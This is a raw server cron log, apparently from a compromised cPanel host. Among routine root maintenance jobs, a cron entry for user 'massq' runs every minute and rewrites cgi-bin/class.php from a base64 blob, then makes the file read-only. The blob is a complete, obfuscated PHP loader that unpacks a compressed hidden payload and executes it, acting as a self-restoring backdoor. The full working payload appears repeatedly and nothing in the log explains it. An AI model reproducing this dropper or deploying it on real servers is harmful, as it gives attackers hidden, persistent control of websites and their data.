Nov  9 05:00:01 server CROND[16836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:00:01 server CROND[16837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:00:01 server CROND[16838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:01:01 server CROND[17733]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:01:01 server CROND[17734]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 05:01:01 server run-parts(/etc/cron.hourly)[17734]: starting 0anacron
Nov  9 05:01:01 server run-parts(/etc/cron.hourly)[17747]: finished 0anacron
Nov  9 05:02:01 server CROND[18489]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:03:01 server CROND[19393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:04:01 server CROND[20191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:05:01 server CROND[21066]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 05:05:01 server CROND[21065]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov  9 05:05:01 server CROND[21068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:05:01 server CROND[21070]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:05:01 server CROND[21069]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:06:01 server CROND[21926]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:07:01 server CROND[22738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:08:01 server CROND[23651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:09:01 server CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 05:09:01 server CROND[24482]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:10:01 server CROND[25309]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 05:10:01 server CROND[25310]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:10:01 server CROND[25311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 05:10:01 server CROND[25312]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 05:11:01 server CROND[26197]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 05:12:01 server CROND[27020]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 05:12:01 server CROND[27021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
